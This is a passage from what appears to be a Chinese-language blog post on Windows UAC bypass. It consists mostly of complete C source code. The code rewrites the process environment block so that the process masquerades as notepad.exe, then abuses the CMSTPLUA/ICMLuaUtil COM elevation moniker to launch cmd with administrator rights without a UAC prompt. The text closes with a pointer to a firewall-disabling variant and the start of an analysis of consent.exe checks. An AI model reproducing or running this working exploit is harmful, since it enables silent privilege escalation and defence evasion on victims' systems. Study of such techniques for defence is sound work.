    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    union
        BOOLEAN BitField;
        struct
            BOOLEAN ImageUsesLargePages : 1;
            BOOLEAN IsProtectedProcess : 1;
            BOOLEAN IsImageDynamicallyRelocated : 1;
            BOOLEAN SkipPatchingUser32Forwarders : 1;
            BOOLEAN IsPackagedProcess : 1;
            BOOLEAN IsAppContainer : 1;
            BOOLEAN IsProtectedProcessLight : 1;
            BOOLEAN IsLongPathAwareProcess : 1;
    HANDLE Mutant;
    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID SubSystemData;
    PVOID ProcessHeap;
    PRTL_CRITICAL_SECTION FastPebLock;
    PVOID AtlThunkSListPtr;
    PVOID IFEOKey;
    union
        ULONG CrossProcessFlags;
        struct
            ULONG ProcessInJob : 1;
            ULONG ProcessInitializing : 1;
            ULONG ProcessUsingVEH : 1;
            ULONG ProcessUsingVCH : 1;
            ULONG ProcessUsingFTH : 1;
            ULONG ProcessPreviouslyThrottled : 1;
            ULONG ProcessCurrentlyThrottled : 1;
            ULONG ReservedBits0 : 25;
        ULONG EnvironmentUpdateCount;
    union
        PVOID KernelCallbackTable;
        PVOID UserSharedInfoPtr;
    ULONG SystemReserved[1];
    ULONG AtlThunkSListPtr32;
    PVOID ApiSetMap;
    ULONG TlsExpansionCounter;
    PVOID TlsBitmap;
    ULONG TlsBitmapBits[2];
    PVOID ReadOnlySharedMemoryBase;
    PVOID HotpatchInformation;
    PVOID *ReadOnlyStaticServerData;
    PVOID AnsiCodePageData;
    PVOID OemCodePageData;
    PVOID UnicodeCaseTableData;
    ULONG NumberOfProcessors;
    ULONG NtGlobalFlag;
    LARGE_INTEGER CriticalSectionTimeout;
    SIZE_T HeapSegmentReserve;
    SIZE_T HeapSegmentCommit;
    SIZE_T HeapDeCommitTotalFreeThreshold;
    SIZE_T HeapDeCommitFreeBlockThreshold;
    ULONG NumberOfHeaps;
    ULONG MaximumNumberOfHeaps;
    PVOID *ProcessHeaps;
    PVOID GdiSharedHandleTable;
    PVOID ProcessStarterHelper;
    ULONG GdiDCAttributeList;
    PRTL_CRITICAL_SECTION LoaderLock;
    ULONG OSMajorVersion;
    ULONG OSMinorVersion;
    USHORT OSBuildNumber;
    USHORT OSCSDVersion;
    ULONG OSPlatformId;
    ULONG ImageSubsystem;
    ULONG ImageSubsystemMajorVersion;
    ULONG ImageSubsystemMinorVersion;
    ULONG_PTR ImageProcessAffinityMask;
    GDI_HANDLE_BUFFER GdiHandleBuffer;
    PVOID PostProcessInitRoutine;
    PVOID TlsExpansionBitmap;
    ULONG TlsExpansionBitmapBits[32];
    ULONG SessionId;
    ULARGE_INTEGER AppCompatFlags;
    ULARGE_INTEGER AppCompatFlagsUser;
    PVOID pShimData;
    PVOID AppCompatInfo;
    UNICODE_STRING CSDVersion;
    PVOID ActivationContextData;
    PVOID ProcessAssemblyStorageMap;
    PVOID SystemDefaultActivationContextData;
    PVOID SystemAssemblyStorageMap;
    SIZE_T MinimumStackCommit;
    PVOID *FlsCallback;
    LIST_ENTRY FlsListHead;
    PVOID FlsBitmap;
    ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
    ULONG FlsHighIndex;
    PVOID WerRegistrationData;
    PVOID WerShipAssertPtr;
    PVOID pContextData;
    PVOID pImageHeaderHash;
    union
        ULONG TracingFlags;
        struct
            ULONG HeapTracingEnabled : 1;
            ULONG CritSecTracingEnabled : 1;
            ULONG LibLoaderTracingEnabled : 1;
            ULONG SpareTracingBits : 29;
    ULONGLONG CsrServerReadOnlySharedMemoryBase;
} PEB, *PPEB;
typedef struct _GDI_TEB_BATCH {
    ULONG    Offset;
    UCHAR    Alignment[4];
    ULONG_PTR HDC;
    ULONG    Buffer[GDI_BATCH_BUFFER_SIZE];
} GDI_TEB_BATCH, *PGDI_TEB_BATCH;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
    ULONG Flags;
    PSTR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME {
    ULONG Flags;
    struct _TEB_ACTIVE_FRAME *Previous;
    PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME;
typedef struct _TEB {
    NT_TIB NtTib;
    PVOID EnvironmentPointer;
    CLIENT_ID ClientId;
    PVOID ActiveRpcHandle;
    PVOID ThreadLocalStoragePointer;
    PPEB ProcessEnvironmentBlock;
    ULONG LastErrorValue;
    ULONG CountOfOwnedCriticalSections;
    PVOID CsrClientThread;
    PVOID Win32ThreadInfo;
    ULONG User32Reserved[26];
    ULONG UserReserved[5];
    PVOID WOW32Reserved;
    LCID CurrentLocale;
    ULONG FpSoftwareStatusRegister;
    PVOID SystemReserved1[54];
    NTSTATUS ExceptionCode;
    PVOID ActivationContextStackPointer;
#if defined(_M_X64)
    UCHAR SpareBytes[24];
#else
    UCHAR SpareBytes[36];
#endif
    ULONG TxFsContext;
    GDI_TEB_BATCH GdiTebBatch;
    CLIENT_ID RealClientId;
    HANDLE GdiCachedProcessHandle;
    ULONG GdiClientPID;
    ULONG GdiClientTID;
    PVOID GdiThreadLocalInfo;
    ULONG_PTR Win32ClientInfo[62];
    PVOID glDispatchTable[233];
    ULONG_PTR glReserved1[29];
    PVOID glReserved2;
    PVOID glSectionInfo;
    PVOID glSection;
    PVOID glTable;
    PVOID glCurrentRC;
    PVOID glContext;
    NTSTATUS LastStatusValue;
    UNICODE_STRING StaticUnicodeString;
    WCHAR StaticUnicodeBuffer[261];
    PVOID DeallocationStack;
    PVOID TlsSlots[64];
    LIST_ENTRY TlsLinks;
    PVOID Vdm;
    PVOID ReservedForNtRpc;
    PVOID DbgSsReserved[2];
    ULONG HardErrorMode;
#if defined(_M_X64)
    PVOID Instrumentation[11];
#else
    PVOID Instrumentation[9];
#endif
    GUID ActivityId;
    PVOID SubProcessTag;
    PVOID EtwLocalData;
    PVOID EtwTraceData;
    PVOID WinSockData;
    ULONG GdiBatchCount;
    union
        PROCESSOR_NUMBER CurrentIdealProcessor;
        ULONG IdealProcessorValue;
        struct
            UCHAR ReservedPad0;
            UCHAR ReservedPad1;
            UCHAR ReservedPad2;
            UCHAR IdealProcessor;
    ULONG GuaranteedStackBytes;
    PVOID ReservedForPerf;
    PVOID ReservedForOle;
    ULONG WaitingOnLoaderLock;
    PVOID SavedPriorityState;
    ULONG_PTR SoftPatchPtr1;
    PVOID ThreadPoolData;
    PVOID *TlsExpansionSlots;
#if defined(_M_X64)
    PVOID DeallocationBStore;
    PVOID BStoreLimit;
#endif
    ULONG MuiGeneration;
    ULONG IsImpersonating;
    PVOID NlsCache;
    PVOID pShimData;
    ULONG HeapVirtualAffinity;
    HANDLE CurrentTransactionHandle;
    PTEB_ACTIVE_FRAME ActiveFrame;
    PVOID FlsData;
    PVOID PreferredLanguages;
    PVOID UserPrefLanguages;
    PVOID MergedPrefLanguages;
    ULONG MuiImpersonation;
    union
        USHORT CrossTebFlags;
        USHORT SpareCrossTebBits : 16;
    union
        USHORT SameTebFlags;
        struct
            USHORT SafeThunkCall : 1;
            USHORT InDebugPrint : 1;
            USHORT HasFiberData : 1;
            USHORT SkipThreadAttach : 1;
            USHORT WerInShipAssertCode : 1;
            USHORT RanProcessInit : 1;
            USHORT ClonedThread : 1;
            USHORT SuppressDebugMsg : 1;
            USHORT DisableUserStackWalk : 1;
            USHORT RtlExceptionAttached : 1;
            USHORT InitialThread : 1;
            USHORT SpareSameTebBits : 1;
    PVOID TxnScopeEnterCallback;
    PVOID TxnScopeExitCallback;
    PVOID TxnScopeContext;
    ULONG LockCount;
    ULONG SpareUlong0;
    PVOID ResourceRetValue;
} TEB, *PTEB;
typedef VOID(NTAPI *PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)(
    _In_    PCLDR_DATA_TABLE_ENTRY DataTableEntry,
    _In_    PVOID Context,
    _Inout_ BOOLEAN *StopEnumeration
typedef PVOID NTAPI RTLINITUNICODESTRING(
    _Inout_    PUNICODE_STRING DestinationString,
    _In_opt_ PCWSTR SourceString
typedef RTLINITUNICODESTRING FAR * LPRTLINITUNICODESTRING;
LPRTLINITUNICODESTRING            RtlInitUnicodeString;
typedef NTSTATUS NTAPI RTLENTERCRITICALSECTION(
    _In_ PRTL_CRITICAL_SECTION CriticalSection
typedef RTLENTERCRITICALSECTION FAR * LPRTLENTERCRITICALSECTION;
LPRTLENTERCRITICALSECTION            RtlEnterCriticalSection;
typedef NTSTATUS NTAPI RTLLEAVECRITICALSECTION(
    _In_ PRTL_CRITICAL_SECTION CriticalSection
typedef RTLLEAVECRITICALSECTION FAR * LPRTLLEAVECRITICALSECTION;
LPRTLLEAVECRITICALSECTION            RtlLeaveCriticalSection;
typedef NTSTATUS NTAPI LDRENUMERATELOADEDMODULES(
    _In_opt_ ULONG Flags,
    _In_ PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction,
    _In_opt_ PVOID Context);
typedef LDRENUMERATELOADEDMODULES FAR * LPLDRENUMERATELOADEDMODULES;
LPLDRENUMERATELOADEDMODULES            LdrEnumerateLoadedModules;
typedef NTSTATUS NTAPI NTALLOCATEVIRTUALMEMORY(
    _In_        HANDLE ProcessHandle,
    _Inout_     PVOID *BaseAddress,
    _In_        ULONG_PTR ZeroBits,
    _Inout_     PSIZE_T RegionSize,
    _In_        ULONG AllocationType,
    _In_        ULONG Protect
typedef NTALLOCATEVIRTUALMEMORY FAR * LPNTALLOCATEVIRTUALMEMORY;
LPNTALLOCATEVIRTUALMEMORY    NtAllocateVirtualMemory;
LPWSTR g_lpszExplorer2 = TEXT("C:\\Windows\\notepad.exe");
VOID NTAPI supxLdrEnumModulesCallback(
    _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
    _In_ PVOID Context,
    _Inout_ BOOLEAN *StopEnumeration
    PPEB Peb = (PPEB)Context;
    if (DataTableEntry->DllBase == Peb->ImageBaseAddress) {
        RtlInitUnicodeString(&DataTableEntry->FullDllName, g_lpszExplorer2);
        RtlInitUnicodeString(&DataTableEntry->BaseDllName, L"notepad.exe");//explorer
        *StopEnumeration = TRUE;
    else {
        *StopEnumeration = FALSE;
__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; }
VOID supMasqueradeProcess(
    NTSTATUS Status;
    PPEB    Peb = NtCurrentPeb();
    SIZE_T  RegionSize;
    PVOID g_lpszExplorer = NULL;
    RegionSize = 0x1000;
    Status = NtAllocateVirtualMemory(
        NtCurrentProcess(),
        &g_lpszExplorer,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);
    if (NT_SUCCESS(Status)) {
        RtlEnterCriticalSection(Peb->FastPebLock);
        RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, g_lpszExplorer2);
        RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, g_lpszExplorer2);
        RtlLeaveCriticalSection(Peb->FastPebLock);
        LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)Peb);
#define T_CLSID_CMSTPLUA                     L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
#define T_IID_ICMLuaUtil                     L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"
#define T_ELEVATION_MONIKER_ADMIN            L"Elevation:Administrator!new:"
#define UCM_DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
     EXTERN_C const GUID DECLSPEC_SELECTANY name \
                = { l, w1, w2, { b1, b2,  b3,  b4,  b5,  b6,  b7,  b8 } }  
UCM_DEFINE_GUID(IID_ICMLuaUtil, 0x6EDD6D74, 0xC007, 0x4E75, 0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C);
typedef interface ICMLuaUtil ICMLuaUtil;
typedef struct ICMLuaUtilVtbl {
    BEGIN_INTERFACE
        HRESULT(STDMETHODCALLTYPE* QueryInterface)(
            __RPC__in ICMLuaUtil* This,
            __RPC__in REFIID riid,
            _COM_Outptr_  void** ppvObject);
    ULONG(STDMETHODCALLTYPE* AddRef)(
        __RPC__in ICMLuaUtil* This);
    ULONG(STDMETHODCALLTYPE* Release)(
        __RPC__in ICMLuaUtil* This);
    //incomplete definition
    HRESULT(STDMETHODCALLTYPE* SetRasCredentials)(
        __RPC__in ICMLuaUtil* This);
    //incomplete definition
    HRESULT(STDMETHODCALLTYPE* SetRasEntryProperties)(
        __RPC__in ICMLuaUtil* This);
    //incomplete definition
    HRESULT(STDMETHODCALLTYPE* DeleteRasEntry)(
        __RPC__in ICMLuaUtil* This);
    //incomplete definition
    HRESULT(STDMETHODCALLTYPE* LaunchInfSection)(
        __RPC__in ICMLuaUtil* This);
    //incomplete definition
    HRESULT(STDMETHODCALLTYPE* LaunchInfSectionEx)(
        __RPC__in ICMLuaUtil* This);
    //incomplete definition
    HRESULT(STDMETHODCALLTYPE* CreateLayerDirectory)(
        __RPC__in ICMLuaUtil* This);
    HRESULT(STDMETHODCALLTYPE* ShellExec)(
        __RPC__in ICMLuaUtil* This,
        _In_     LPCTSTR lpFile,
        _In_opt_  LPCTSTR lpParameters,
        _In_opt_  LPCTSTR lpDirectory,
        _In_      ULONG fMask,
        _In_      ULONG nShow);
    END_INTERFACE
} *PICMLuaUtilVtbl;
interface ICMLuaUtil { CONST_VTBL struct ICMLuaUtilVtbl* lpVtbl; };
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
    BIND_OPTS3 bo;
    WCHAR wszCLSID[MAX_PATH] = { 0 };
    WCHAR wszMonikerName[MAX_PATH] = { 0 };
    HRESULT hr = 0;
    // 初始化COM环境
    ::CoInitialize(NULL);
    // 构造字符串
    ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
    hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))
        return hr;
    // 设置BIND_OPTS3
    ::RtlZeroMemory(&bo, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.hwnd = hWnd;
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;// CLSCTX_INPROC_SERVER;//CLSCTX_LOCAL_SERVER;//;
    // 创建名称对象并获取COM对象
    hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
    return hr;
BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
    HRESULT hr = 0;
    CLSID clsidICMLuaUtil = { 0 };
    IID iidICMLuaUtil = { 0 };
    ICMLuaUtil *CMLuaUtil = NULL;
    BOOL bRet = FALSE;
        ::CLSIDFromString(/*CLSID_CMSTPLUA*/L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}", &clsidICMLuaUtil);
        ::IIDFromString(/*IID_ICMLuaUtil*/L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}", &iidICMLuaUtil);
        // 提权
        hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
        if (FAILED(hr))
            break;
        // 启动程序
        hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
        if (FAILED(hr))
            break;
        bRet = TRUE;
    } while (FALSE);
    // 释放
    if (CMLuaUtil)
        CMLuaUtil->lpVtbl->Release(CMLuaUtil);
    return bRet;
int main()
    HINSTANCE hinstStub = GetModuleHandle(L"ntdll.dll");
    if (hinstStub)
        RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(hinstStub, "RtlInitUnicodeString");
        if (!RtlInitUnicodeString)
            printf("Could not find RtlInitUnicodeString entry point in NTDLL.DLL");
            exit(0);
        RtlEnterCriticalSection = (LPRTLENTERCRITICALSECTION)GetProcAddress(hinstStub, "RtlEnterCriticalSection");
        if (!RtlEnterCriticalSection)
            printf("Could not find RtlEnterCriticalSection entry point in NTDLL.DLL");
            exit(0);
        RtlLeaveCriticalSection = (LPRTLLEAVECRITICALSECTION)GetProcAddress(hinstStub, "RtlLeaveCriticalSection");
        if (!RtlLeaveCriticalSection)
            printf("Could not find RtlLeaveCriticalSection entry point in NTDLL.DLL");
            exit(0);
        LdrEnumerateLoadedModules = (LPLDRENUMERATELOADEDMODULES)GetProcAddress(hinstStub, "LdrEnumerateLoadedModules");
        if (!LdrEnumerateLoadedModules)
            printf("Could not find LdrEnumerateLoadedModules entry point in NTDLL.DLL");
            exit(0);
        NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtAllocateVirtualMemory");
        if (!NtAllocateVirtualMemory)
            printf("Could not find NtAllocateVirtualMemory entry point in NTDLL.DLL");
            exit(0);
        printf("Could not GetModuleHandle of NTDLL.DLL");
        exit(0);
    supMasqueradeProcess();
CMLuaUtilBypassUAC(L"cmd");
    getchar();
    return 0;
View Code

　2.3 类似的提权COM


//NetFwPolicy2
//参考：https://github.com/3gstudent/Use-COM-objects-to-bypass-UAC/blob/master/DisableFirewall.cpp


0x3 权限分析


　　以ICMLuaUtil提权执行为例，COM提权验权过程如下：


　　3.1 COM类提权会先通过APPINFO服务创建consent.exe，对发起来源进程的签名、路径进行校验
 
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